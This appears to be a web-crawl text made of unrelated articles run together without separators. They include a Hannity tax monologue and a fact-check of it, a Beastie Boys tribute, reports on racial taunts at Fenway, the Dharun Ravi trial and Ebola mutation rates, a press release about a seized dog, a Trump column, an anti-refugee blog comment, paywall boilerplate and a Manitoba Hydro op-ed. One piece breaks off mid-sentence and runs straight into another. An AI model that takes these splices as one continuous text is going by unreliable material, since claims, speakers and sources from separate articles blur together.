Here's the pie. This represents all of the money that we have in the federal government, all the taxes that are paid. Well, let's see who isn't paying their fair share. You decide. Is it the top 1 percent? This is the entire budget, all of our revenue, all of our revenue. How much do the top 1 percent pay? Only -- only about this much. That's it. Only -- it's gonna be -- if I can get underneath here, and it's going to be yummy. Only about this much. That's the top 1 percent. Oh, I hate those evil rich people! When will they pay their fair share? This again is 1 percent. OK? Now, how about the top 2 percent to the top 10 percent? OK? So, this would include the 1 percent here and the rest of them in the top 10 percent. That would be -- let's see -- that would be about here. We have from 2 percent to 10 percent, they're paying -- hmm, doesn't the pie look yummy now? I want some, seriously. OK, so that's -- this is the top 10 percent. So, I got to put 10 people in the pie. That's 10 people. Now, we've got now 71 percent of the pie. The top 50 percent of pie- eaters account for -- now, this is the rest of the top 50 percent -- and that's going to be these people. Got it? We got to put 50 people to pay for that piece of pie. One, nine, fifty. This represents the bottom 50 percent. They pay -- do I have any more? Yes. They pay the bottom 3 percent. OK? So, don't you hate this one guy? Oh, my gosh, he's just not paying enough. Got it? He's paying 40 percent. Now, the top -- the bottom 3 percent I have to -- I have to let you know, the bottom 50 percent, that 3 percent, they pay -- the bottom 50 percent pays only 3 percent of everything that we spend. The rest of it is put in a protected poor pie place. They got their own pie, never even touched. In fact, from time to time -- it's so great -- from time to time, we just whip people up in such a frenzy where we're like, "I hate those people. Give them some pie!" Every year, we just give them some of the more -- yeah, we just give it to them, because we hate the top 1 percent. We just take more of their pie and we put it in the protected zone now. Nobody, nobody could get in the protected zone. No! Don't take the poor pie. It's these people that we hate. These people are good. Got it?
Hannity repeatedly makes false complaint that "half of Americans... don't pay taxes." Sean Hannity has complained over and over that "50 percent of American households no longer pay taxes," using the purported fact to ask, "What does that mean for America if you have a voting electorate that's not paying any taxes?" In fact, while 47 percent of U.S. households will reportedly pay no federal income tax in fiscal 2010, as the Associated Press noted, "[t]he vast majority of people who escape federal income taxes still pay other taxes, including federal payroll taxes that fund Social Security and Medicare, and excise taxes on gasoline, aviation, alcohol and cigarettes. Many also pay state or local taxes on sales, income and property."Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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The news of Adam Yauch’s death felt like a punch to the stomach. It wasn’t just because I was a fan. (Though it should tell you something about the level of my love for this band that on the day of Yauch’s death I got an e-mail from an ex I had parted ways with ten years ago checking in on me.) It wasn’t just because—like a lot of people who grew up during a certain time in New York City—the Beastie Boys felt like a cultural touchstone. Ad Policy
For a female hip hop fan—for this female hip hop fan, at least—the Beastie Boys meant so much more.
Much has been made of Yauch’s Buddhism and dedication to philanthropy. Pieces have even acknowledged the Beastie Boys’ explicit move towards feminism by noting, in passing, MCA’s famous line from “Sure Shot”:
I want to say a little something that’s long overdue / The disrespect to women has to got to be through / To all the mothers and sisters and the wives and friends / I want to offer my love and respect till the end
It’s a great line, and it does say a lot—but Yauch’s and the Beastie Boys’ commitment to women went beyond one rhyme. They apologized for past homophobic lyrics in a letter to Time Out New York, writing that “time has healed our stupidity.” During a joint gig with the Prodigy, the Beastie Boys asked the band not to play “Smack My Bitch Up.” (They played it anyway.) Yauch reportedly said, “We just wanted to let the Prodigy know that we felt like that song had a real meaning, has a definite meaning with those lyrics.… we were kinda more going to them saying, ‘We’ve been through this and we feel weird about this stuff and we’d like to suggest or ask you guys not to play it.’ ”
In the Beastie Boys’ anthology The Sounds of Science, Adam Horovitz wrote about “Song for the Man,” and how it was inspired by men he saw harassing a woman on the subway: “Sexism is deeply rooted in our history and society that waking up and stepping outside of it is like I’m watching ‘Night of the Living Dead Part Two’ all day every day. Listening to the lyrics of this song, one might say that the Beastie Boy ‘Fight for Your Right to Party’ guy is a hypocrite. Well, maybe; but in this fucked up world all you can hope for is change, and I’d rather be a hypocrite to you than a zombie forever.”
When the band won an award for “Intergalactic” at the 1999 MTV Music Video Awards, Horovitz used the opportunity to talk about the rapes at Woodstock, urging muscians and promoters to priortize women’s safety. (The year prior, Yauch spoke out against anti-Muslim sentiment in the United States.)
I remember watching that speech as a 20-year-old college student and cheering—then crying with relief. Hearing about Yauch’s death brought back a similar wave of emotion.
Once you’ve realized that you’re living in a world that believes women are “less than” in every imaginable way, one of the things that can be most frustrating is that very few men get it. You want the people in your life, the men you care about, to understand the awful toll it can take on you. Operating in a world that sees you as less than fully human can be soul crushing—but it’s also incredibly lonely.
When you speak up about any sense of unfairness or injustice, you’re told that you’re overreacting, you’re too angry, too silly—shut up already. It takes a tremendous amount of fortitude to be able to live in this world as a woman, let alone a woman who wants things to change.
And that’s what was so remarkable and emotional about the Beastie Boys’ feminist turnaround. Maybe your father says sexism doesn’t exist and your boyfriend disrespects you. Maybe you have to deal with assholes on the subway who rub up against you every day and laugh when you yell at them. But listening to this band that you love so much say that your pain is real, that the world is fucked up and that they are not going to participate in actions that hurt you anymore because they care about you—it was the overwhelming feeling of being made visible. They were sending a clear message to their female fans: this isn’t okay, we have your back, we’re sorry.
It was the apology we never got from the high school teacher who stared at our breasts, the acknowledgement of injustice that politicians and American culture dance around—and it was coming from people whom we cared about and respected, people with cultural power.
Hearing the Beastie Boys speak out against sexism made me feel like if these men who had once sung about getting girls to “do the laundry” and “clean up my room” could understand, maybe the rest of the world would follow suit. It made me hopeful in the best way.
Maybe the shift of a band from seemingly misogynist frat boys to thoughtful messengers of feminism isn’t the most transgressive, radical thing in the world. But for women who love hip hop—or who love pop culture—and are denigrated by it every day, it was validation. For one of the first times, the music I loved loved me back. I know that Yauch’s passing doesn’t mean the Beastie Boys will stop their musical or activist contributions. But it does mark the end of seeing these three boys turn into men, watching them grow up together into incredible allies for women.
Yauch left behind a wife and a daughter. I hope that he knew that he made the world a better place for them—and for all of us.BOSTON (Reuters) - Fans at Boston’s Fenway Park gave Baltimore Orioles outfielder Adam Jones a loud ovation on Tuesday and the city, state and Red Sox officials apologized to the player, the day after he said he was subjected to racial taunting during a game there.
May 2, 2017; Boston, MA, USA; Baltimore Orioles center fielder Adam Jones (10) tips his helmet prior to his at bat during the first inning against the Boston Red Sox at Fenway Park. Mandatory Credit: Bob DeChiara-USA TODAY Sports
Civil rights advocates said the Monday night incident at Boston’s historic ballpark illustrated simmering racism that is pervasive in a city that considers itself one of the most liberal in the United States.
“A disrespectful fan threw a bag of peanuts at me,” Jones, a five-time All-Star, told reporters after the game. “I got called the N-word a handful of times tonight. Thanks. Pretty awesome.”
Jones, who is African-American, said it was not the first time he had been the target of racial insults but that the ones hurled from the park’s bleachers were the worst he had faced.
He later told reporters he hoped the fans would be barred from attending future games at the 105-year-old park. The Red Sox said two people were ejected.
“This is unacceptable and not who we are as a city,” Boston Mayor Marty Walsh said in a statement. “These words and actions have no place in Fenway, Boston, or anywhere.”
Massachusetts Governor Charlie Baker called the incident “unacceptable & shameful” in a Twitter post, while the Red Sox issued an apology.
“Our entire organization and our fans are sickened by the conduct of an ignorant few,” Sam Kennedy, the team’s president. “Any spectator behaving in this manner forfeits his/her right to remain in the ballpark.”
The incident came months after “Saturday Night Live” star Michael Che called Boston “the most racist city I’ve ever been to.” He drew criticism, but Che stood by his comments, following with a March Instagram post that read: “My grandma is racist too, but i still love her.”
Experiences like Jones’ are common in Boston, said Tanisha Sullivan, president of the Boston NAACP civil rights group.
“This incident is certainly a stain on the city of Boston,” Sullivan said in an interview. “It is certainly emblematic of what so many people of color here in the city of Boston, black folk in the city of Boston, experience day in and day out.”
New York Yankees pitcher C.C. Sabathia said black Major League players frequently encountered racist catcalls in Boston, according to New York Newsday baseball writer Erik Boland.
“We all know. When you go to Boston, expect it,” Boland quoted Sabathia as saying in an interview.Senior Citizen Fights to Save Companion Pet Seized for Three Years
--Small Nip Not Worthy of Euthanasia--
Sacramento, Ca. — April 3, 2013 — Sandi York, an elderly disabled Sacramento resident who lives on a fixed income of medical disability and who relied on her dog for companionship, is now spending her years and money fighting to save her dog Bandit, an eight year old mixed-breed female. Three years have come and gone and Bandit remains in the custody of Animal Care & Regulation (‘ACR’) in Sacramento County for allegedly nipping a man and inflicting a bite the size of a grain of rice. Today, the fight to save Bandit from euthanasia continues.
“Bandit means everything to me. I’m sick, I’m tired, and I miss her terribly and want her to come home. It seems to me that she and I are growing old apart and it breaks my heart each time I walk away from our daily visits together,” said Sandi York, the dog’s owner. “Bandit has always been a sweet well-behaved girl. I think she was scared and was only trying to protect us when someone knocked insistently on the door for what seemed like five minutes. She didn’t know what was going on, we didn’t know. It happened so quickly and we’re sorry. She doesn’t deserve to die for this.”
The County of Sacramento Animal Care & Regulation (‘ACR’) has held Bandit now for three years and they won’t release her even though she has not displayed any aggression while in their custody nor have they been willing to negotiate a release with the owner. During the past three years, there have been numerous hearings, court filings, and extensions filed on Bandit’s behalf in an effort to save her life. The order to euthanize Bandit was issued at an administrative dog hearing in an office at the ACR shelter about 45 days after the incident back in April 2010. The determination to euthanize Bandit was made by one single person at the hearing where she deemed that the bite Bandit inflicted caused ‘severe injury’ and worthy of Bandit’s execution.
Subsequent to the administrative dog hearing, a judge later ruled at a Writ hearing that Bandit was solely responsible for a single small bite and gave his recommendation for the reassessment and removal of the ‘severe injury’ bite imposed during the initial ACR administrative hearing. The judge based his recommendation on information presented by Bandit’s counsel at the Writ hearing that revealed the extent of the bite wound – characterized to be the size of a grain of rice – barely visible and clearly not disfiguring or to have caused ‘severe injury’. To this date, the bite class has not been reassessed or reclassified. The owner believes her and Bandit’s rights were violated and that the order to euthanize Bandit based on the initial assessment of the bite wound is inaccurate, unfair, and unjust and should have been reassessed long ago. An appeal has been filed with the US Court of Appeals.
York concluded, “We have been pleading with the ACR for a reassessment of the bite wound. The administrative dog hearing individual who ruled on the bite three years ago is no longer at the ACR. We have pleaded with the County of Sacramento Board of Supervisors as well as the Executive Office to bring light to Bandit’s situation, and we have asked the ACR Director to step in repeatedly but he is adamant and will not allow us the reassessment needed that will help save Bandit. The County has been totally unresponsive and unwilling to work with us. Our only hope at this point is an appeal, but that could take a long time and is costly. We are hoping for Divine intervention and to rally support from the community.”
Prior to this case, Bandit had never been seized or needed to be defended nor heard before any administrative dog hearing person, group, or judge due to any behavior on her part and has always been a well-balanced and friendly companion pet.
About the owner:
Sandi York is an elderly disabled resident of Citrus Heights in the County of Sacramento and lives in a modest home that she shared with Bandit. Ms. York drives to the ACR shelter daily to visit Bandit and keep both her own and Bandit’s spirits high. The expense for Bandit’s lodging at the ACR shelter are being paid for by the owner. The legal expenses up to recently had been pro bono and that relationship has terminated. Beginning this year, it was necessary to seek new legal pro bono representation for a more aggressive strategy to save Bandit. The owner is trying to raise money to cover the expenses associated with saving Bandit.
About Bandit:
Ms. York found Bandit, a female mixed breed dog, along a road on a rainy day six years ago. A vehicle had apparently struck Bandit. Ms. York rescued Bandit and got her immediate medical attention. They had been inseparable until April 2010. Videos of Bandit’s nature and demeanor can be seen on her Saving Bandit Facebook page where she has over 3,300 fans from all over the world hoping to help save her life. Bandit loves to watch TV for long periods of time and plays well with other dogs and loves people. Bandit is fully trained and follows all basic commands. Help save Bandit.
To stay on top of Bandit's latest news and development visit Bandit's Blog at http://savingbandit.wordpress.com
To learn how you can help go to www.facebook.com/savingbandit; donations can be made at http://www.youcaring.com/other/savingbandit/42792
###18 Gallery: Jury deliberations begin during the trial of Dharun Ravi on 3/14/12
UPDATE: Dharun Ravi found guilty in Rutgers webcam spying trial
NEW BRUNSWICK — The jury has reached a verdict on the 15 counts facing Dharun Ravi, a former Rutgers student on trial for spying on his gay roommate.
After 12 hours of deliberating over two-and-a-half days, the jury of 12 members and three alternates will return to the courtroom to deliver their decision shortly.
As of moments ago, the judge was giving last-minute instructions in a standing-room-only courtroom inside the Middlesex County Courthouse.
The Ravi family is sitting in the front row behind the defense attorneys.
Dharun Ravi is smiling nervously as he sits in the courtroom waiting for the jury to enter the jury box. His lawyer put his arm around him.
The jury is now being seated.
Ravi is charged with four counts of bias intimidation as a hate crime, two counts of invasion of privacy, two counts of attempted invasion of privacy and six counts of witness tampering and hindering apprehension.
The charges stem from a series of events on Sept. 19 and Sept. 21, 2010, when prosecutors say Ravi turned on his webcam from a friend's laptop and watched his roommate, Tyler Clementi, kissing a man in their dorm room. Ravi tweeted what he had seen and on a second occasion a few days later, invited others to watch via twitter.
Prosecutors say Ravi's actions speak to his bias against gays and hatred of his roommate.
Ravi's lawyer has said Ravi acted childish because he was taken aback by what he had seen on his webcam, but showed no prejudice or hatred against gays.
His lawyer says he disconnected his webcam two days later, but the prosecutor has said that would be impossible because Ravi wasn't in the dormitory.
The trial stretched over 13 days including opening and closing statements, with more than 30 witnesses and 100 pieces of evidence.
The trial has attracted national attention because Clementi committed suicide a few days after the alleged spying occurred, sparking debate on bullying of gay youths.
The Clementi family is seated in the front row of the courtroom behind prosecutors, and Ravi's parents and other family members and supporters are seated in two rows on the opposite side.
Throughout jury deliberations, the Clementi family gathered down a hallway on one side of the courtroom. The Ravi family and his lawyers sat on the hall on the other side of the courtroom.
The verdict watch has attracted a heavy media presence, with several television cameras and reporters from national media outlets.
There will be a press conference following the verdict announcement with whichever family and lawyers wish to talk to the media.Announcement Ili is closing, enjoy the 50% off savings, they won't last long!
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In no event shall this business be liable for any direct, indirect, punitive, incidental, special consequential damages, to property or life, whatsoever arising out of or connected with the use or misuse of my products.For anyone interested in keeping track, Donald Trump now owes Barack Obama not one apology, but two. Of course, that only matters to those who still consider character an important quality in a president.
The first is owed for the racially tinged birther idiocy Trump used to disparage Obama back in 2011. Remember his obviously false claim of having investigators in Hawaii who were turning up evidence that Barack Obama wasn’t born there? Or the “extremely credible source” who, after Obama put the matter to rest for all but the most cross-eyed of kooks by releasing his long-form birth certificate, supposedly called Trump to say that that document was “a fraud”?
Only in 2016, when that fever-swamp conspiracy theory no longer served his purpose, did Trump finally declare that “President Barack Obama was born in the United States, period.” Period as in, let’s move on, with no expression of regret or remorse. With nothing except a dishonest attempt to blame Hillary Clinton and her camp for initiating the rumor.
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That tawdry episode should have been all the X-ray the country needed into Trump’s character. Certainly no one who followed that episode should have been at all surprised by Trump’s latest designed-to-dupe-the-dopes distraction: his claim that Obama had somehow wiretapped him.
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Now FBI Director James Comey has given the lie to that assertion, telling the House Intelligence Committee on Monday that there’s no evidence to support it. Trump spokesman Sean Spicer had already tried to muddle the matter by suggesting that Obama had British intelligence do the dirty work for him. But on Monday, Mike Rogers, director of the National Security Agency, told the committee that hadn’t happened either. However diplomatic their language, both Comey and Rogers were essentially labeling the Republican incumbent President Trumpinocchio.
The president won’t, of course, apologize. Even in the unlikely event that he briefly believed what he tweeted, Trump, extreme narcissist that he is, clearly lacks the ability to admit he was wrong. Instead, the White House tried to create wiggle room with their the-Brits-did-it-for-Obama insinuation. And then, when that blew up in their face, by blaming Fox News legal analyst Andrew Napolitano for bruiting that notion about. (Anyone notice a pattern of Trump getting himself in trouble after watching Fox News’ politics-for-partisans programming?)
There’s been no expression of regret from Fox, either, though one of the conservative network’s genuine journalists — a breed in short supply there — has noted that Fox couldn’t corroborate Napolitano’s assertions, while the network has quietly pulled “Judge” Napolitano off the air for an indefinite period.
Only a naif would expect Trump to learn any lasting lesson from this debacle. Don’t hold your breath for any soul-searching by Fox News, either; any honest news organization that suffered an embarrassment like this would issue a fuller, more forthright statement and perhaps even institute stricter standards. But don’t expect that from an organization where Sean Hannity’s comically obsequious coverage of Trump offers an amusing nightly exception to the old adage that no man is a hero to his valet.
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Still, maybe some of Trump’s voters will now start to see him for what he is. Not the white nationalists or the xenophobes or the hyper-partisans or the misogynists, mind you. But perhaps some of those who got gulled into believing that Hillary Clinton’s use of a private e-mail server was something truly serious, or who somehow concluded that her cumulative flaws were so great that it was worth taking a chance on Trump. (One can’t help but wonder how many of them would have changed their minds if they had known that the FBI has been, since July, investigating possible campaign collusion between the Trump campaign and the Russians.)
It’s time for them to take a hard look at the cynical charlatan they helped elect.
Scot Lehigh can be reached at lehigh@globe.com. Follow him on Twitter @GlobeScotLehighMicrosoft wants Windows 8 and Windows Phone developers to create apps for its platforms, and it's tempting them by offering up hard cash. In a new US marketing effort, Microsoft is offering developers $100 per app for newly published applications submitted to the Windows Phone Store or the Windows Store by June 30th. Developers can net $2,000 in total by submitting up to 10 apps to each store.
The terms and conditions are fairly straight forward. All apps must comply with the usual certification requirements, and developers must create applications for a purpose other than just launching a web page. Cloned variations from previously published apps are banned from the promotion, and the offer is limited to the first 10,000 qualified entries until June 30th. The promotion started earlier this month, but Microsoft has not yet been heavily promoting it.
Will this generate quality or just quantity?
Microsoft has claimed Windows 8 is off to a "solid start" with 60 million licenses sold so far and 100 million app downloads, but the company doesn't always speak app numbers and figures. The latest promotion could be a good way to generate interest in the platforms, but it's questionable whether this will generate quality applications vs. quantity. Microsoft is relying heavily on third-party developers to build next-generation apps for its Windows 8 and Windows Phone platforms, but the company still lags behind the numbers and big name apps available on iOS and Android.
Former Microsoft manager predicted cash payments for Windows apps
Redmond faces a race against BlackBerry to secure third-place in the smartphone market. BlackBerry is also tempting developers with cash incentives, promising to cut a check for BlackBerry 10 apps that fail to make at least $10,000 in the first year. Charlie Kindel, a former Windows Phone manager at Microsoft, described paying developers as a "bad idea" in a blog post late last year. He admits that the Windows Phone team "were willing to do just about anything to get apps on to the platform," and he predicted that the software maker was planning further cash incentives for Windows itself.
Kindel explained at the time that Steven Sinofsky, who previously ran the Windows division, opposed paying developers for apps. Sinofsky announced his |
outing funding for the inventory and testing of rape kits. “One of those is violence against women.”
In the proposed budget, about $35 million would go toward a new grant program to save and test more rape kits and provide support for victims.. Under the current system, an unknown number of kits remain untested across the country, though estimates have suggested there are hundreds of thousands of cases left unsolved. In Detroit, prosecutors have been working to test over 10,000 untested kits that had been discovered in a police warehouse in 2009. According to the Detroit News, 1,600 kits have been tested and the state has been able to identify almost 100 serial rapists.
About 1 in 5 women report having experienced rape or attempted rape at some point in their lives, according to a 2011 Centers of Disease Control and Prevention survey. Yet rape remains one of the most significantly underreported crimes; only about three out of every 100 rapists serve time, according to the Rape, Abuse and Incest National Network. For the rapes that do get reported, many of the rape kits, which are comprised of DNA and evidence gathered from victims and crime scenes, go untested.
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“If we’re able to test these rape kits and compare data to those in prison now, [we] believe we can solve a whole hell of a lot of crimes against women,” Biden said.
About $140 million in Obama’s budget would go toward support services like shelters and the national hotline for domestic violence victims. Biden said more than one million victims have contacted the line. The budget also proposes about $42 million to provide legal services to female victims of violence.
Obama’s $3.9 trillion budget, released on Tuesday, has been met with opposition by Republicans. In a statement, House Budget committee chair Paul Ryan (R-Wisc.) called the budget a disappointment. “This budget isn’t a serious document; it’s a campaign brochure,” Ryan said. “In divided government, we need leadership and collaboration. And in this budget, we have neither.”
Contact us at editors@time.com.Any regular visitors to our site will be well aware that we loved themed decorations. Like, really really love them. They are so cool. Anyway, one of the coolest themes that frequently pops up is the Super Mario style. Here are some of the best examples that we could find:
Most of this layout is made up of Lego bricks, which is an awesome way to get creative with your fish tank. Plus, it’s completely safe for fish.
This is a colorful layout which uses stickers, apart from the warp pipes which are actually in the tank. The old school stuff tends to be pretty awesome.
This is quite a busy tank isn’t it. And I don’t know why but I find the jellyfish kinda scary.
I don’t even know what is going on here. But it seems pretty fun.
I like this one actually. Simple yet effective. It’s kinda glowing too.
Well there you have it. Hope you enjoyed them as much as we did.I’ve been writing about two things lately that come together in this one comment from a regular reader.
Posted to my report Saturday headlined, The big lie: refugees are not being vetted, this is what ‘domstudent11’ reports:
Ann, they are indeed not being vetted! As a shocking update to the refugee family in my family member’s apartment (Evanston, IL), it turns out that these people LIED to World Relief and the church that sponsored them. They were evicted last week after doing over $4,500 worth of damage to the apartment. When the landlord tried to bill them for repairs, it turned out that EVERY piece of information they gave to World Relief and the church was a LIE. The Evanston Police are now involved. This family has gone underground. So much for vetting. Even the contractors are fooled!
What are the two important points to take away? First, refugees are not being thoroughly vetted (some not vetted at all), and that landlords are increasingly wary of leasing to refugees especially as we learned here, the resettlement contractors dropping them in your towns will not back up the refugees by co-signing their leases (amazing!).
BTW, if the lazy, fearful, complicit Members of Congress really wanted to reform this program they could make some simple fixes (initially) and one would be to make it a law that federal resettlement contractors must co-sign every home or apartment lease when they place refugees. And, make sure damages come from their own meager, privately raised funds (not from more of your tax dollars).
This reader comment is filed in our Comments worth noting/guest posts category, click here for more from readers.The Ebola virus is mutating faster in humans than in animal hosts
FELICITY NELSON 29 AUG 2014
Image: Shutterstock
A study that some early researchers in Sierra Leone gave their lives for has yielded incredibly important results, reports ABC Science.
The study, published in Science, reveals the rates of mutation in the deadly Ebola virus, that has so far claimed the lives of more than 1,000 people, including more than 140 health care workers.
The samples, taken from 78 infected individuals, show that during the early outbreak more than 300 genetic changes occurred as the virus moved from person to person. Scientists say the virus is mutating about twice as fast in humans than it was in animal hosts, such as fruit bats.
The team used a technique called deep sequencing, which allowed them to track changes in genetic sequences between different patients and within different cells inside a single patient.
The research revealed that the virus' protein coat has changed, which could suggest that it is now better able to bind to human cells and evade the immune system.
The mutations may be significant if they reduce the effectiveness of diagnostic tests and treatments currently being developed.
The data was pre-published online and Erica Ollmann Saphire of the Scripps Research Institute in the US says her lab has already checked whether the mutations will affect the drug they are developing to fight Ebola. It appears they do not but further tests are required to see if other drugs are still going to work.
The Ebola virus is likely to spread further and the World Health Organisation reports that some 20,000 people are at risk of infection.May 23, 2017 — NESN announces the launch of NESNgo to provide fans live in-market streaming of all NESN-televised regular-season Boston Red Sox games and other NESN programming.
NESN live streaming is available throughout much of the network’s home territory (New England except Fairfield County, Conn.) on the heels of NESN reaching a licensing agreement with Major League Baseball Advanced Media (MLBAM) earlier this year.
This new streaming offering is available without any additional costs to “authenticated subscribers” who already have NESN in their channel lineup from participating television providers. Fans just need to sign in using their existing TV service provider username and password.
Streaming can be accessed via NESNgo.com and the NESNgo app for mobile phones and tablets, which is available in both the iTunes (Apple) and Google Play (Android) app stores. Over the next few months, some cable distributors are expected to enable NESN live streaming on their own “TV Everywhere” app and/or on their company website.
“Live in-market streaming will provide Red Sox fans who are on the go a means to watch games anytime, anywhere they go, on virtually any device,” said Sean McGrail, NESN President and CEO. “For years, NESN has wanted to extend live streaming access to our viewers, so we couldn’t be more excited to launch NESNgo this season. This is a significant milestone in NESN history.”
With NESNgo, fans can watch NESN 24 hours a day, including Red Sox pregame and postgame coverage, Red Sox games, NESN’s sports news programs and the network’s entire programming lineup with the exception of Bruins telecasts at this time.
TV service providers that have currently activated authentication for NESN’s live streaming include: Xfinity (Comcast), Cox Communications, MetroCast, PlayStation Vue and RCN, which collectively represent more than half of the cable subscribers in NESN’s home territory. Other distributors have plans to authenticate NESN streaming in the coming weeks. Visit NESNgo.com for the most up-to-date list of active distributors.
*–A few programs, including Bruins programming, are not available on NESNgo at this time.
About NESN
NESN has consistently been one of the top-rated regional sports networks in the country with award-winning Red Sox and Bruins coverage. The network is delivered to over 4 million homes throughout the six-state New England region and an additional 5 million homes nationally as NESN National. Forbes Magazine recently ranked NESN as the 10th Most Valuable Sports Business Brand in the World. NESN.com is one of the Top 12 sports web sites in the U.S. NESN’s social responsibility program, NESN Connects, is proud to support and connect its employees with charitable organizations in our communities. NESN is owned by Fenway Sports Group (owners of the Boston Red Sox) and Delaware North (owners of the Boston Bruins).Thank you for supporting the journalism that our community needs!
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
It's a travesty that the scope of this Clean Environment Commission hearing has been made so restrictive that no review can be made of reliability, nor of the "Need For and Alternatives To" -- NFAAT -- the Bipole III project.
My entire 36-year working career was spent with Manitoba Hydro, the last nine years as vice-president. Most of my years were involved in the planning and operating of generating stations and high voltage transmission lines.
Will Tishinski is a former vice-president of Manitoba Hydro. In this, his presentation at a recent environmental review hearing of the new transmission line, Tishinski reveals the political bungling of the now $4-billion Bipole III that will hit ratepayers hard.
Hey there, time traveller! This article was published 6/11/2012 (2302 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 6/11/2012 (2302 days ago), so information in it may no longer be current.
Will Tishinski is a former vice-president of Manitoba Hydro. In this, his presentation at a recent environmental review hearing of the new transmission line, Tishinski reveals the political bungling of the now $4-billion Bipole III that will hit ratepayers hard.
BRUCE BUMSTEAD/BRANDON SUN ARCHIVES
My entire 36-year working career was spent with Manitoba Hydro, the last nine years as vice-president. Most of my years were involved in the planning and operating of generating stations and high voltage transmission lines.
It's a travesty that the scope of this Clean Environment Commission hearing has been made so restrictive that no review can be made of reliability, nor of the "Need For and Alternatives To" — NFAAT — the Bipole III project.
Manitoba Hydro spent the better part of the afternoon of the first day describing the catastrophic consequences of an outage of the existing DC transmission lines and explaining the need for Bipole III. Reliability was advanced as the primary reason for construction of this line.
Despite all of the arguments for reliability, that topic was ruled out of scope. It is incredible that the project's most important purpose has been eliminated from the review process.
Likewise, elimination of an NFAAT review prevents any discussions of the alternative route on the east side of Lake Winnipeg. Any major project should be able to withstand the tests of a NFAAT review.
The crucial need for having an NFAAT review is best understood by reviewing the history of Bipole III.
Ever since bipoles I and II were placed in service, Manitoba Hydro recognized that Bipole III would be required at some future date.
In the early 1990s, when a sale to Ontario was in place, Hydro began planning a route for Bipole III on the east side of Lake Winnipeg. The professionals within Hydro considered all of the relevant issues involved in planning a transmission line, including technical, economic, reliability, environment and social.
Later, when Hydro established a need for Bipole III for Manitoba's own needs, it stayed with the east-side option. This plan initially called for a line only and no conversion equipment. Hydro had the right plan! Aboriginal consultations and route selection process commenced and continued for several years.
In 2004, the Government of Manitoba asked Hydro to cease work on the east side. Reason given was that the province intended to apply to UNESCO for a heritage site designation of some 43,000 square kilometres of forest on the east side of Lake Winnipeg. There was also a concern over the habitat disruption for woodland caribou in the area.
Hydro professionals reviewed these reasons and deemed them insufficient to cause a costly rerouting, documenting their concerns in reports in December 2004 and January 2005. These reports were presented to Hydro's board and eventually leaked to the public.
Undaunted, the government directed Hydro to abandon all work on the east side; the option for the line was a route on Manitoba's west side, near the Saskatchewan border.
After an approximately two-year period, engineering studies discovered a shocking engineering condition: The west-side route, which was some 54 per cent longer than the east side, would not work in conjunction with the existing bipoles. Costly conversion equipment was needed.
The conversion equipment requirement was a crucial revision to the engineering plan. This discovery figuratively threw a monkey wrench into the Bipole III plan. What started off as a perceived simple rerouting of a transmission line, exploded into a costly engineering revision.
The prudent course of action would have been to put the line back to the east side. Government stubbornly refused. It reminded Hydro the east side was not an option. At this juncture the project essentially fell off the rails.
Hydro now had to find a way to help pay for the costly conversion equipment. The electrical-demand growth within Manitoba was modest and a steep increase in costs could not be absorbed by Manitoba ratepayers. The obvious solution was to acquire new power sales to the U.S. to help pay for the conversion equipment.
In April 2008, a government announcement was issued that 500 megawatts of power had been contracted with Wisconsin Public Service, accompanied by a new transmission line to the States. This announcement simultaneously triggered a spin by government, that the Americans, not Manitobans, would pay for the additional costs of Bipole III. This spin will be addressed later.
Now facing the government's 54 per cent longer west-side line, plus the addition of conversion equipment, Hydro made a quick re-estimate of the project cost. A new cost of $2.247 billion for Bipole III was entered into the 2007 financial plan.
Hydro commenced to work actively on many fronts, including obtaining more detailed costs.
For several years the cost of Bipole III remained constant in the financial plan. Then rumours surfaced that costs had risen significantly to $4 billion. Knowledge of the new number was denied by government and Hydro's CEO as recently as December 2010.
At about the same time, a report was leaked from Hydro, signed off by the two most senior engineering vice-presidents within the corporation, confirming the new number of $4 billion for Bipole III.
While a debate was raging in public about the project cost, retired Hydro executives and university professors, using data from leaked reports, calculated the additional cost of the west-side route as being $1 billion. This $1 billion number pertained only to the line and had nothing to do with the converters. It was a present-value calculation that took into account the cost of the additional line length, increased losses and reduced security.
Hydro was now confronted with a troublesome issue whereby the total project cost mushroomed from $1 billion to $4 billion. And sadly, but coincidentally with the astronomical cost increase, we get reduced transmission capability, reduced security, increased losses and increased environmental and agricultural impact.
Confronted by such a dramatic increase in the project cost, the CEO of Hydro rejected the estimates prepared by his own engineers and hired an outside consultant to review the estimate, hoping for a lower cost.
In March 2011 the consultant submitted a lower estimate of $3.28 billion, which now stands as the official estimate.
The lower estimate contributes nothing towards lowering the power rates. Rates will be determined by the true cost, which will be known when line construction is completed and work orders closed out.
I am personally convinced the Hydro engineers' estimate will be proven to be correct. They have 40 years of experience with DC transmission and more years of proven methodology for estimating costs.
There has been much political chicanery since the government directed Hydro to build the line on the west side.
Initially, government had claimed there would be "mass deforestation" of the boreal forest if the line was built on the east side. Not true! If the line were routed through the narrowest points, the cleared right-of-way in the boreal forest would be no more than 150 kilometres in length. The cleared area would be less than 10 square kilometres, out of the total 43,000 square kilometres proposed for the UNESCO site. This is equivalent to cutting 10 trees out of 43,000.
Some proponents of the east-side line have called the line through the forest nothing more than "a thread on a football field," which is a good analogy.
There would be no mass deforestation.
Another government representative stated that the reason the line was being built on the west side was so that we could sell power to Saskatchewan. Nonsense!
